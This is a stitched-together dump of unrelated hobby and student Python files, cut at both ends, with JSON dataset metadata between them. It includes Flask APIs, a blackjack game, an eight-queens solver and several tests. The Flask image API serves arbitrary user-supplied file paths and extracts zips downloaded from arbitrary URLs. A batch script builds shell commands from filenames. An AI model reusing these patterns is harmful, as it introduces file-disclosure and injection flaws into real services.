Usuario==\"Ninguno\":\n\t\t\tUsuario=CrearUsuario(Usuario)\n\t\t\t\"\"\"Crea un nuevo Usuario e inicia sesión con sus credenciales\"\"\"\n\t\telif Usuario =='Admin':\n\t\t\tUsuario=CrearUsuario(Usuario)\n\t\t\tUsuario=\"Admin\"\n\t\t\t\"\"\"Crea un nuevo Usuario, pero sigue iniciado como Admin\"\"\"\n\t\telse:\n\t\t\tprint(\"No puede registrar un nuevo usuario teniendo su sesión iniciada\")\n\n\telif Buffer.lower()==\"eliminar usuario\":\n\t\tif Usuario=='Admin':\n\t\t\ta=input(\"Ingrese el usuario a eliminar\\n\")\n\t\t\twhile a.lower()=='admin':\n\t\t\t\ta=input(\"Inaceptable\\nIngrese el Usuario a eliminar\\n\")\n\t\t\tEliminarUsuario(a)\n\t\telse:\n\t\t\tprint(\"Usted no puede hacer esto\\n\")\n\t\t\t\"\"\"Si el Admin ha ingresado, elimina un usuario existente\"\"\"\n\n\telif Buffer.lower()==\"cerrar sesion\":\n\t\tUsuario=CerrarSesion(Usuario)\n\t\t\"\"\"Define el usuario actual como desconectado\"\"\"\n\n\telif Buffer.lower()==\"revisar mensajes\":\n\t\tif Usuario==\"Ninguno\":\n\t\t\tprint(\"Necesita iniciar sesión para esto\\n\")\n\t\telse:\n\t\t\tListaMensajes(Usuario)\n\t\t\t\"\"\"Retorna los mensajes relacionados con el usuario activo\"\"\"\n\n\telif Buffer.lower()=='mensajes admin':\n\t\tif Usuario=='Admin':\n\t\t\tListaAdmin()\n\t\telse:\n\t\t\tprint(\"Usted no puede hacer esto\\n\")\n\t\t\"\"\"Lee todos los mensajes de todos los usuarios\"\"\"\n\n\telif Buffer.lower()==\"enviar mensaje\":\n\t\tif Usuario==\"Ninguno\":\n\t\t\tprint(\"Necesita iniciar sesión para esto\\n\")\n\t\telse:\n\t\t\tb=InterpretadorUsuarios(input(\"¿A quién desea enviar el mensaje?\\n\"))\n\t\t\ta=input(\"Ingrese el mensaje\\n\")\n\t\t\tEnviarMensaje(Usuario,a,b)\n\t\t\"\"\"Escribe un mensaje a otro/otros usuario existente\"\"\"\n\n\telif Buffer.lower()==\"archivar mensaje\":\n\t\tif Usuario==\"Ninguno\":\n\t\t\tprint(\"Necesita iniciar sesión para esto\\n\")\n\t\telse:\n\t\t\tlista=[]\n\t\t\tlista=str(input(\"Qué id desea eliminar?\\n\"))\n\t\t\tArchivarMensajes(Usuario,InterpretadorParametroNumerico(Usuario,lista))\n\t\t\t\"\"\"Asigna el estado 'Archivado' a un mensaje del Usuario\"\"\"\n\telif Buffer.lower()==\"archivar admin\":\n\t\tif Usuario==\"Admin\":\n\t\t\tparametro=input(\"ingrese las ids de los mensajes a archivar\\n\")\n\t\t\tArchivarAdmin(parametro)\n\t\telse:\n\t\t\tprint(\"usted no tiene los permisos nesesarios\\n\")\n\t\t\t\"\"\"Archiva mensajes con permisos de administrador\"\"\"\n\n\telif Buffer.lower()==\"imprimir mensajes\":\n\t\tif Usuario==\"Ninguno\":\n\t\t\tprint(\"Usted no puede hacer esto\\n\")\n\t\telse:\n\t\t\tImprimir(Usuario)\n\t\t\t\"\"\"Imprime los mensajes del usuario, en un archivo aparte\"\"\"\n\n\telse:\n\t\tprint(\"Input incorrecto, intente de nuevo\\n\")\n\t\t\"\"\"Vuelve a iniciar el ciclo de programa\"\"\"\n","sub_path":"P1/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"118313459","text":"# -*- coding: utf-8 -*-\n\nimport io\nimport json\nimport logging\nimport os\nimport shelve\nimport zipfile\nfrom argparse import ArgumentParser\nfrom datetime import datetime\nfrom uuid import uuid4\n\nimport requests\nfrom flask import Flask, request, Response, send_file\n\nfrom retrieval.predictor import Predictor\nfrom variables import NB_RES, DATASETS_PATH\n\napp = Flask(__name__)\nUPLOAD_FOLDER = \"downloaded_img\"\n\n\n@app.route(\"/img_searches\", methods=[\"POST\"])\ndef post_img_searches():\n \"\"\"\n Endpoint POST /img_searches\n :return: ID de la ressource générée.\n \"\"\"\n\n # verification des parametres\n if \"img\" not in request.files:\n return Response(json.dumps({\"error\": \"wrong argument\"}), status=400, mimetype=\"application/json\")\n\n # sauvegarde de l'image\n img = request.files[\"img\"]\n filename = str(uuid4())\n path = os.path.join(UPLOAD_FOLDER, \"{}.jpg\".format(filename))\n img.save(path)\n\n results = []\n img_names, img_scores = predictor.compute_results(path)\n for i in range(0, NB_RES):\n img_path = os.path.join(predictor.train_root, img_names[i])\n results.append({\"img\": img_path, \"score\": float(round(img_scores[i] * 100, 2))})\n\n # calcul des résultats, et stockage\n if \"user-agent\" not in request.headers:\n user_agent = None\n else:\n user_agent = request.headers[\"user-agent\"]\n\n to_store = {\n \"date\": datetime.now().isoformat(),\n \"client\": {\n \"ip\": request.remote_addr,\n \"user-agent\": user_agent\n },\n \"results\": results\n }\n db[filename] = to_store\n\n return Response(response=json.dumps({\"id\": filename}), status=201, mimetype=\"text\")\n\n\n@app.route(\"/img_searches/\", methods=[\"GET\"])\ndef get_img_searches(search_id):\n \"\"\"\n Endpoint GET /img_searches\n :param search_id: id du résultat.\n :return: OK / KO (404).\n \"\"\"\n\n # 404 not found\n if search_id not in db:\n return Response(response=json.dumps({\"error\": \"record not found\"}), status=404, mimetype=\"application/json\")\n\n result = json.dumps(db[search_id])\n return Response(response=result, status=200, mimetype=\"application/json\")\n\n\n@app.route(\"/img\", methods=[\"GET\"])\ndef get_image():\n \"\"\"\n Récupère l'image de nom passé.\n :return: image ou KO.\n \"\"\"\n\n img_name = request.args.get(\"img_path\")\n\n img_name = img_name.replace(\"\\\\\", os.path.sep)\n\n # 404 not found\n if not os.path.isfile(img_name):\n return Response(response=json.dumps({\"error\": \"record not found\"}), status=404, mimetype=\"application/json\")\n\n return send_file(filename_or_fp=img_name, mimetype=\"image/gif\")\n\n\n@app.route(\"/img_searches//feedback\", methods=[\"POST\"])\ndef give_feedback(search_id):\n \"\"\"\n Indique que l'image donnée matche bien la recherche.\n :param search_id: ID de la recherche.\n :return: OK / KO\n \"\"\"\n\n img_name = request.args.get(\"img_name\")\n if img_name is None:\n return Response(response=json.dumps({\"error\": \"missing param 'img_name'\"}),\n status=400, mimetype=\"application/json\")\n img_name = img_name.replace(\"-\", \"\\\\\")\n\n # 404 not found\n if search_id not in db:\n return Response(response=json.dumps({\"error\": \"search not found\"}), status=404, mimetype=\"application/json\")\n\n search = db[search_id]\n results = [el['img'] for el in search[\"results\"]]\n\n if img_name not in results:\n return Response(response=json.dumps({\"error\": \"image not found in searchs\"}), status=404,\n mimetype=\"application/json\")\n\n if \"feedback\" not in search:\n search[\"feedback\"] = []\n\n search[\"feedback\"].append(img_name)\n\n db[search_id] = search\n\n return Response(response=json.dumps({\"message\": \"ok\"}), status=200, mimetype=\"application/json\")\n\n\n@app.route(\"/indexing\", methods=[\"POST\"])\ndef index_new_database():\n \"\"\"\n Indexe un nouveau dataset selon le lien passé en paramètre.\n :return: OK / KO.\n \"\"\"\n\n lien = request.args.get(\"lien\")\n if lien is None:\n return Response(response=json.dumps({\"error\": \"missing parameter 'lien'\"}), status=400,\n mimetype=\"application/json\")\n try:\n\n page = requests.get(lien)\n dataset_path = os.path.join(DATASETS_PATH, \"user_dataset\")\n\n with zipfile.ZipFile(io.BytesIO(page.content), \"r\") as zip_ref:\n zip_ref.extractall(dataset_path)\n except Exception as e:\n print(e)\n return Response(response=json.dumps({\"error\": \"can't get URL\"}), status=500, mimetype=\"application/json\")\n\n res = predictor.index_database(dataset_path)\n\n return Response(response=json.dumps({\"result\": res}), status=200, mimetype=\"application/json\")\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\"--prod\", help=\"mode production (True/False)\", default=False, action=\"store_true\")\n args = parser.parse_args()\n if args.prod:\n debug = False\n else:\n debug = True\n\n if \"database.dat\" not in os.listdir(os.getcwd()):\n print(\"création de la base de données 'database'\")\n else:\n print(\"utilisation de la BDD 'database'\")\n\n db = shelve.open(\"database\")\n predictor = Predictor()\n\n logging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s:%(levelname)s:%(message)s\",\n handlers=[logging.StreamHandler()]\n )\n\n app.run(debug=debug, host=\"0.0.0.0\", port=5000)\n","sub_path":"serveur/rest_api.py","file_name":"rest_api.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"16038014","text":"from keras.preprocessing.image import img_to_array\nfrom keras.applications import imagenet_utils\nfrom keras.applications import ResNet50\nfrom pyspark.ml import PipelineModel\nfrom keras import backend\nimport pandas as pd\nfrom PIL import Image\nimport numpy as np\nimport flask\nimport io\nimport os\nfrom pyspark.sql.session import SparkSession\nfrom sklearn.externals import joblib\nimport requests\nimport json\n\n\n# PUBLIC_IP = \"0.0.0.0\"\n# NODE_PORT = \"50000\"\n\nPUBLIC_IP = \"20.184.57.73\"\nNODE_PORT = \"80\"\n\napp = flask.Flask(__name__)\ncredit_model = None\napplication_url = \"https://{}:{}/score\".format(PUBLIC_IP, NODE_PORT)\n\ndef load_credit_model():\n global credit_model\n\n credit_model_path = os.path.join(os.getcwd(), 'models', 'credit', 'german_credit_risk.joblib')\n credit_model = joblib.load(credit_model_path)\n\n\n@app.route(\"/v1/deployments/credit/online\", methods=[\"POST\"])\ndef credit_online():\n response = {}\n # labels = ['Risk', 'No Risk']\n\n if flask.request.method == \"POST\":\n payload = flask.request.get_json()\n\n if payload is not None:\n #df = pd.DataFrame.from_records(payload['values'], columns=payload['fields'])\n ip_values = payload['values']\n data = \"{\\\"data\\\":[{}]}\".format(ip_values)\n scoring_url = application_url + '/score'\n headers = {'Content-Type':'application/json'}\n resp = requests.post(scoring_url, data, headers=headers)\n predictions = json.loads(resp.text)\n response = {'fields': ['prediction'], \n 'values': predictions}\n\n return flask.jsonify(response)\n\n\n@app.route(\"/v1/deployments\", methods=[\"GET\"])\ndef get_deployments():\n response = {}\n\n if flask.request.method == \"GET\":\n response = {\n \"count\": 3,\n \"resources\": [\n \n {\n \"metadata\": {\n \"guid\": \"credit\",\n \"created_at\": \"2019-01-01T10:11:12Z\",\n \"modified_at\": \"2019-01-02T12:00:22Z\"\n },\n \"entity\": {\n \"name\": \"German credit risk compliant deployment\",\n \"description\": \"Scikit-learn credit risk model deployment\",\n \"scoring_url\": \"{}/score\".format(application_url),\n \"asset\": {\n \"name\": \"credit\",\n \"guid\": \"credit\"\n },\n \"asset_properties\": {\n \"problem_type\": \"binary\",\n \"input_data_type\": \"structured\",\n }\n }\n }\n\n ]\n }\n\n return flask.jsonify(response)\n\n\nif __name__ == \"__main__\":\n #load_resnet50_model()\n #load_action_model()\n # load_credit_model()\n port = os.getenv('PORT', '5000')\n app.run(host='0.0.0.0', port=int(port))\n\n","sub_path":"run_server.py","file_name":"run_server.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"483026476","text":"\"\"\"\nMain file loop_v1606.py\n*********************************\nThis file reads the parameters in and calls functions to process and average raw data\n\n Args:\n ceiloparameters.txt (input file): Backscattering matrix.\n\tParameters in ceiloparameters.txt \n\n\tMain directory5\n\tOutput Directory\n\tRun Version\n\tAveraging time window (in minutes)\n\tEstacion\n\t\n\t\n\t\n\n Returns:\n files: backscattering matrix, mixed-layer height, contour plots \n\n A way you might use me is\n\n >>> loop_v1606.py \n\n :param allprf: backscattering matrix, numpy array nxm dims\n :param tvec: time vector, typically decimal time hours.minutes\n :param zvec: height vector, typically numpy array ranging from 10 to 5000 m. \n :rtype: float: Residual Layer Height \n\n\"\"\"\n\n# import library for 2-D graphs\nimport matplotlib\n# Generar imagenes sin que aparezcan ventanas: high quality images using the Anti-Grain Geometry engine\n# pylab combina pyplot con numpy en un solo namespace, preferible en situaciones de calculos y graficos. \n# importar estructura matematica y ploteo \nimport numpy as np\nimport matplotlib.pyplot as plt\n#importar modulo para acceder al sistema operativo\nimport sys\nimport fileinput\nimport glob,os\n#carpeta donde se encuentra el script\norg=os.system('pwd')\npath=os.getcwd() \nfilename='ceiloparameters.txt'\nf=open(filename,'r')\nlines=f.read().splitlines()\n#Carpeta de files a reprocesar\nlista=['H']\n\n#Directorio madre\ndirectorio=lines[1]\nfdirectory=lines[3]\n# Definir Estacion\nestacion=lines[9]\n# Se lee la version de corrida que es\nrunv=lines[5]\ndt=lines[7]\n#Crear carpetas raiz,etc. \norg=os.system('pwd')\nos.chdir(fdirectory)\nos.system('mkdir '+runv)\nprint(fdirectory)\n#Carpeta de destino de los plots \n#os.chdir(fdirectory+runv+'/')\n#os.system('mkdir Plots')\n#os.system('mkdir MLH')\n#os.system('mkdir Matrix')\n#os.chdir('Matrix')\n#os.system('mkdir numprof')\nos.chdir(path+'/')\n# Ciclo que busca archivos del mismo dia. \nfor j in lista:\n\tcarpeta=directorio\n\tfilelist=glob.glob(carpeta+\"*.DAT\")\n\tfilelist=np.sort(filelist)\n\toldfile=' '\t\n\tfor i,filename in enumerate(filelist):\n\t\tprint ( 'start')\n\t\tfiles= filename.split('/')[-1]\n\n\t\tif oldfile[0:6]!=files[0:6]:\n\t\t\t#Se da el comando de correr el script useceiloarg.py usando los argumentos dados, si files es mas de uno se dan 4 o mas argumentos\n\t\t\t#Files es el numero de archivos a utilizar\n\t\t\tcomandline= ('python ceilov201605.py %s %s %s %s %s %s' % (estacion, carpeta,fdirectory,runv,dt,files) )\n\t\t\tj=1\n\t\n\t\t\ttry:\n\t\t\t\tnextfile=filelist[i+j].split('/')[-1]\n\t\t\texcept:\n\t\t\t\tcontinue \n\t\t\t#ciclo while para que se inserten como argumentos todos los archivos mientras sean del mismo dia. \n\t\t\twhile nextfile[0:6]==files[0:6]:\n\t\t\t\tcomandline=comandline+' '+nextfile\n\t\t\t\tj=j+1\n\t\t\t\ttry: \n\t\t\t\t\tnextfile=filelist[i+j].split('/')[-1]\n\t\t\t\texcept:\n\t\t\t\t\tbreak\n\t\t\n\t\t\t#Se imprime el comando al sistema, observando todos los argumentos que se insertan. \n\t\t\tprint(comandline)\n\t\t\tos.system(comandline)\n\t\t\toldfile=files\n\n#Make loop. call mlh_todf,add,clouds.py Right here. \n#I think... \t\n","sub_path":"source/loop_v1606.py","file_name":"loop_v1606.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"518975409","text":"# -*- coding: utf-8 -*-\nimport random\n\nimport pytest\n\nfrom fixture import db\nfrom model.group import Group\nimport random\n\n\ndef test_modificate_group_name(app, db, check_ui):\n if len(db.get_group_list()) == 0:\n app.group.create(Group(name=\"test\"))\n old_groups = db.get_group_list()\n group_old = random.choice(old_groups)\n id = group_old.id\n group_new = Group(id=id, name=\"test\", header=\"test\", footer=\"test\")\n app.group.modificate_group_by_id(id, group_new)\n new_groups = db.get_group_list()\n for i in range(len(old_groups)):\n if old_groups[i].id == id:\n old_groups[i] = group_new\n assert sorted(old_groups, key=Group.id_or_max) == sorted(new_groups, key=Group.id_or_max)\n if check_ui:\n assert sorted(new_groups, key=Group.id_or_max) == sorted(app.group.get_group_list(), key=Group.id_or_max)\n\n#def test_modificate_group_header(app):\n # if app.group.count() == 0:\n # app.group.create(Group(name=\"test\"))\n # old_groups = app.group.get_group_list()\n #app.group.modificate_first_group(Group(header=\"666\"))\n #new_groups = app.group.get_group_list()\n #assert len(old_groups) == len(new_groups)\n\n\n\n","sub_path":"test/test_modification_group.py","file_name":"test_modification_group.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"448376526","text":"from os import system\nfrom colorama import Fore\nfrom time import sleep\nimport random\n\n'''Card class creates cards from self.deck[] list when called via deal_a_card()\nmethod from the deck class. This creates a deck of cards each with attributes\nof suit, rank & score. Menthod of display_card() from this class prints out the\ncard in form of colored ascii symbol and rank'''\n\n\nclass Card:\n\n def __init__(self, suit, rank):\n\n self.suit = suit\n self.rank = rank\n if rank == 'K' or rank == 'Q' or rank == 'J':\n self.score = 10\n elif rank == 'A':\n self.score = 1\n else:\n self.score = int(rank)\n\n def display_card(self):\n if self.suit == diamond or self.suit == heart:\n print(Fore.RED + self.suit + Fore.WHITE + self.rank)\n else:\n print(Fore.WHITE + self.suit + ' ' + Fore.WHITE + self.rank)\n\n\n'''Deck class is passed a list 'deck' becoming deck its single attribute.\nIts methods include:\ncount() - Returns the number of list items(cards) in the deckself.\nshow_deck() - Prints every card in the deck using the Card class diplay_card.\nnew_deck() - Generates new 52 card deck iterating over each suit & rank combo.\nshuffle_deck() - Randomises any new_deck() which is created in order.\ndeal_a_card() - Removes last list entry and returns a generated card.'''\n\n\nclass Deck:\n\n def __init__(self, deck):\n\n self.deck = deck\n\n def count(self):\n return len(self.deck)\n\n def show_deck(self):\n for suit, rank in self.deck:\n c = Card(suit, rank)\n c.display_card()\n\n def new_deck(self):\n self.deck = []\n for suit in suit_list:\n for rank in rank_list:\n self.deck.append((suit, rank))\n\n def shuffle_deck(self):\n system('clear')\n print('New Deck in play - Dealer Shuffling......')\n sleep(2.5)\n random.shuffle(self.deck)\n\n def deal_a_card(self):\n sel_card = self.deck.pop()\n return Card(sel_card[0], sel_card[1])\n\n\n'''Hand class needs to be passed 2x Card class instances & 'Player' or 'Dealer'\nto generate card_list & player attributes. Methods include:\nget_score() - Returns total score of the hand.\nshow_hand() - Displays Player/Dealer and their hand. Masks dealers 2nd card if\n True is passed, therefore on the dealers turn False needs to be\n passed to show the full hand.\nhit() - Adds another card from the deck into the card_list attribute.\nbust_check() - Uses the get_score() method to generate bust message and return\n True if over 21, returns False if not.\nbj_check() - Checks if hand has initial blackjack/21 with 2 cards generating\n a message if so and returning True. If not False is returned.'''\n\n\nclass Hand:\n\n def __init__(self, card_list, player):\n\n self.card_list = card_list\n self.player = player\n self.ace = False\n\n for card in self.card_list:\n if card.rank == 'A':\n self.ace = True\n\n def get_score(self):\n total = 0\n for card in self.card_list:\n total += card.score\n return total\n\n def show_hand(self, mask_dealer):\n print('\\n{}s Hand:'.format(self.player))\n if mask_dealer is True:\n self.card_list[0].display_card()\n print('???')\n else:\n for i in range(0, len(self.card_list)):\n self.card_list[i].display_card()\n\n def hit(self):\n new = card_deck.deal_a_card()\n self.card_list.append(new)\n if new.rank == 'A':\n self.ace = True\n\n def bust_check(self):\n if self.get_score() > 21:\n print('{} is BUST'.format(self.player))\n return True\n else:\n return False\n\n def bj_check(self):\n if (self.get_score() == 11 and len(self.card_list) == 2 and\n self.ace is True):\n return True\n else:\n return False\n\n\n# print game state & check if bust - passing True hides 2nd card & total\ndef game_state(plyr_cond, dealer_cond):\n system('clear')\n dealer_hand.show_hand(dealer_cond)\n score = dealer_hand.get_score()\n bust = dealer_hand.bust_check()\n if dealer_hand.bj_check() is True and dealer_cond is False:\n print('Total: 21 - BLACKJACK!!!')\n elif (dealer_cond is False and dealer_hand.ace is True and\n bust is False and score + 10 < 22):\n print('Total: ' + str(score) + ' or ' + str(score + 10))\n elif dealer_cond is False:\n print('Total: ' + str(score))\n\n plyr_hand.show_hand(plyr_cond)\n score = plyr_hand.get_score()\n plyr_hand.bust_check()\n if plyr_hand.bj_check() is True:\n print('Total: 21 - BLACKJACK!!!')\n elif plyr_hand.ace is True and bust is False and score + 10 < 22:\n print('Total: ' + str(score) + ' or ' + str(score + 10))\n else:\n print('Total: ' + str(score))\n\n\ndef plyr_turn():\n game_state(False, True)\n if plyr_hand.bj_check() is True:\n return True\n while plyr_hand.get_score() < 22:\n turn = input('\\nHit(h) or Stick(s)? ')\n if turn.lower() == 'h':\n plyr_hand.hit()\n game_state(False, True)\n elif turn.lower() == 's':\n return False\n\n\ndef dealer_turn():\n game_state(False, False)\n sleep(1)\n if dealer_hand.bj_check() is True:\n return\n\n while dealer_hand.get_score() < 33:\n if dealer_hand.get_score() < 17:\n dealer_hand.hit()\n game_state(False, False)\n sleep(1)\n else:\n game_state(False, False)\n sleep(1)\n return\n\n\n# pick 1 or 11 to return highest score under 21 for hands containing an ace\ndef ace_score_adjust(hand):\n if hand.ace is False:\n return hand.get_score()\n else:\n unadjusted = hand.get_score()\n # bust using 11 but under 21 using 1\n if (unadjusted + 10) > 21 and unadjusted < 22:\n return hand.get_score()\n # using 11 returns score under 21\n elif (unadjusted + 10) < 22:\n return (unadjusted + 10)\n\n\ndef wincheck(pot, blackjack):\n if ace_score_adjust(plyr_hand) > 21:\n winner = 'Dealer'\n pot -= float(bet)\n elif blackjack is True:\n winner = 'Player'\n pot += float(bet) * 1.5\n elif ace_score_adjust(dealer_hand) > 21:\n winner = 'Player'\n pot += float(bet)\n elif ace_score_adjust(dealer_hand) > ace_score_adjust(plyr_hand):\n winner = 'Dealer'\n pot -= float(bet)\n elif ace_score_adjust(dealer_hand) < ace_score_adjust(plyr_hand):\n winner = 'Player'\n pot += float(bet)\n else:\n winner = 'Draw'\n print('Player and Dealer Draw This Hand.')\n\n if winner != 'Draw':\n print('\\n{} Wins This Hand.'.format(winner))\n return pot\n\n\n# assign suit symbols\nclub = u\"\\u2667\"\nspade = u\"\\u2664\"\nheart = u\"\\u2665\"\ndiamond = u\"\\u2666\"\n\n# create lists of possible suits & ranks\nsuit_list = [heart, club, spade, diamond]\npic_cards = ['J', 'Q', 'K', 'A']\nrank_list = [str(x) for x in range(2, 11)] + pic_cards\n\n# create deck and shuffle\ncard_deck = Deck([])\ncard_deck.new_deck()\ncard_deck.shuffle_deck()\n\ngame_flag = True\npot = 100.00\n\nwhile game_flag is True:\n\n valid_bet = False\n message = ''\n bet = 0.00\n plyr_bj_check = False\n\n while valid_bet is False:\n\n if card_deck.count() < 10:\n card_deck.new_deck()\n card_deck.shuffle_deck()\n\n system('clear')\n print(f'Cash Pot is £{pot:.2f} {message}')\n bet = input('Please Place Your Bet: ')\n\n if bet.isalpha() is True:\n message = 'Last Bet Was Invalid.'\n elif float(bet) > pot:\n message = 'Last Bet Was Too High.'\n else:\n bet = float(bet)\n valid_bet = True\n\n # deal initial 2 card hands\n plyr_hand = (Hand([card_deck.deal_a_card(), card_deck.deal_a_card()],\n 'Player'))\n dealer_hand = (Hand([card_deck.deal_a_card(), card_deck.deal_a_card()],\n 'Dealer'))\n\n blackjack = plyr_turn()\n\n # player bust on turn\n if plyr_hand.get_score() > 21 or blackjack is True:\n pass\n\n else:\n dealer_turn()\n\n # end game routine\n pot = wincheck(pot, blackjack)\n another_game = input('\\nPlay Another (y/n)? ')\n if another_game.lower() == 'n':\n game_flag = False\n elif pot <= 0.00:\n print('\\nSorry Game Over - You Have Gambled Away All Of Your Pot!!!')\n game_flag = False\n else:\n continue\n","sub_path":"oldblackjack.py","file_name":"oldblackjack.py","file_ext":"py","file_size_in_byte":8596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"210650416","text":"import threading\n\nclass mythread(threading.Thread):\n\tm=0\n\tn=0\n\tdef __init__(self, s, e=5):\n\t\tthreading.Thread.__init__(self)\n\t\tself.m=s\n\t\tself.n=e\n\t\t\n\t#override\n\tdef run(self):\n\t\tfor i in range(self.m, self.n):\n\t\t\tprint(\" %d\"%i)\n\t\t\t\nth=mythread(2)\nth.start()\n\nprint(\"main print\")\n\nfor i in range(100, 106):\n\tprint(\" %d\"%i)\n\t\nmythread(30, 35).start()\n\nadd=lambda x, y: x+y\nprint(\"hello\", add(100, 200))","sub_path":"thread.py","file_name":"thread.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"5906459","text":"import json\n#this is the chess board\ninf=open(\"input.json\")\nboard=json.loads(inf.read())\nboard=board[\"matrix\"]\nprint(board)\n\n#to check if the queen at row,col is under attacked or not\ndef issafe2(row,col):\n\tfor i in range(8):\n\t\tfor j in range(8):\n\t\t\tif(board[i][j]==1): #if a queen exists here, then check if it attacks our queen\n\t\t\t\tif(row==i):\n\t\t\t\t\treturn False\n\t\t\t\tif(col==j):\n\t\t\t\t\treturn False\n\t\t\t\tif(abs(row-i)==abs(col-j)):\n\t\t\t\t\treturn False\n\treturn True\n1\n#this function will place a queen at a particular col\ndef place2(col):\n\tif(col>=8):\t\t#if all 8 queens are placed, then finish\n\t\treturn True\n\t\tprint(\"\\t\\tCompleted..\\n\")\n\tfor i in range(8):\t#checking for all rows in that column\n\t\tif(issafe2(i,col)):\t#is it safe?\n\t\t\tboard[i][col]=1 #queen is placed here\n\t\t\tif(place2(col+1)==True):\t#recursive call to place next queen\n\t\t\t\treturn True\n\t\t\tboard[i][col]=0\t\t#if not placed, then backtrack, i.e it sets to zero and the loop iterates to check for next position\n\t#print(\"not possible\\n\")\n\treturn False\n\n#here we are calling functions\nif(place2(1)==True):\n\tprint(\"solution found\")\nelse:\n\tprint(\"Solution not possible\")\nprint(board)\n\n\n\n","sub_path":"8q.py","file_name":"8q.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"113763451","text":"import unittest\nfrom alltestcases.test_login_register import UserActionTest #从alltestcases文件夹的test_login_register文件 导入UserActionTest类\nfrom alltestcases.test_add import UserActionTest as add #从alltestcases文件夹的test_add文件 导入UserActionTest类,命名为add\n\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(add('test_add'))\n suite.addTest(UserActionTest('test_login'))\n suite.addTest(UserActionTest('test_register'))\n return suite\n\nif __name__ == '__main__':\n runner = unittest.TextTestRunner()\n runner.run(suite())","sub_path":"0527练习/01/testsuite.py","file_name":"testsuite.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"129073162","text":"from unittest import TestCase\n\nfrom xsdata.exceptions import SchemaValueError\nfrom xsdata.models.elements import Attribute\nfrom xsdata.models.elements import Length\nfrom xsdata.models.elements import Restriction\nfrom xsdata.models.elements import SimpleType\nfrom xsdata.models.enums import UseType\n\n\nclass AttributeTests(TestCase):\n def test_property_is_attribute(self):\n obj = Attribute.create()\n self.assertTrue(obj)\n\n def test_property_real_type(self):\n obj = Attribute.create()\n self.assertIsNone(obj.real_type)\n\n obj.ref = \"foo\"\n self.assertEqual(obj.ref, obj.real_type)\n\n obj.type = \"bar\"\n self.assertEqual(obj.type, obj.real_type)\n\n obj.simple_type = SimpleType.create()\n self.assertIsNone(obj.real_type)\n\n obj.simple_type.restriction = Restriction.create(base=\"thug\")\n self.assertEqual(obj.simple_type.restriction.base, obj.real_type)\n\n def test_property_real_name(self):\n obj = Attribute.create(ref=\"bar\")\n self.assertEqual(\"bar\", obj.real_name)\n\n obj.name = \"foo\"\n self.assertEqual(\"foo\", obj.real_name)\n\n with self.assertRaises(SchemaValueError):\n Attribute.create().real_name\n\n def test_get_restrictions(self):\n obj = Attribute.create()\n self.assertEqual({}, obj.get_restrictions())\n\n obj.use = UseType.REQUIRED\n expected = {\"max_occurs\": 1, \"min_occurs\": 1, \"required\": True}\n self.assertEqual(expected, obj.get_restrictions())\n\n obj.simple_type = SimpleType.create(\n restriction=Restriction.create(length=Length.create(value=1))\n )\n expected.update(dict(length=1))\n self.assertEqual(expected, obj.get_restrictions())\n\n def test_property_extends(self):\n obj = Attribute.create()\n self.assertIsNone(obj.extends)\n","sub_path":"tests/models/elements/test_attribute.py","file_name":"test_attribute.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"398563821","text":"##\n## Programación con Pandas\n## ===========================================================================\n##\n## Si la columna _c0 es la clave en los archivos `tbl0.tsv`\n## y `tbl2.tsv`, compute la suma de tbl2._c5b por cada\n## valor en tbl0._c1.\n## \n## Rta/\n## _c1\n## A 146\n## B 134\n## C 81\n## D 112\n## E 275\n## Name: _c5b, dtype: int64\n##\n## >>> Escriba su codigo a partir de este punto <<<\n##\n\nimport pandas as pd\nimport numpy as np\ndf = pd.read_csv('tbl0.tsv', sep = '\\t' )\ndf1 = pd.read_csv('tbl2.tsv', sep = '\\t' )\ndf1 = df1.groupby('_c0')['_c5b'].sum()\ndf_merge = pd.merge(df, df1, on = '_c0')\ndf = df_merge[['_c1', '_c5b']]\ndf0 = df.values.tolist()\ndic = {}\nfor ele in df0:\n if ele[0] in dic.keys():\n dic[ele[0]] = dic[ele[0]] + (ele[1])\n else:\n dic[ele[0]] = int(ele[1])\ndf0 = pd.DataFrame(dic.items(), columns=('_c0', '_c5b')).sort_values('_c0').reset_index(drop=True) \ndf0 = df0.rename(columns={'_c0': '_c1'})\ndf0 = df0.groupby('_c1').mean()._c5b\nprint(df0)\n\n\n","sub_path":"04-pandas=1/q11=1/question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"84442709","text":"'''\nCreated on May 24, 2015\n\n@author: hsd\n'''\nimport unittest\n\nfrom headergrammar import HeaderGrammar\n\nclass HeaderGrammarTest(unittest.TestCase):\n\n def test_succes_header_grammar(self):\n atop_header_line = \"tswp01 1431564603 2015/05/14 02:50:03 600\"\n grammar = HeaderGrammar().get_grammar()\n parse_results = grammar.parseString(atop_header_line)\n self.assertEqual(\n \"tswp01\",\n parse_results.get(HeaderGrammar.HOSTNAME),\n \"Hostname parsing failed\")\n\n self.assertEqual(\n \"1431564603\",\n 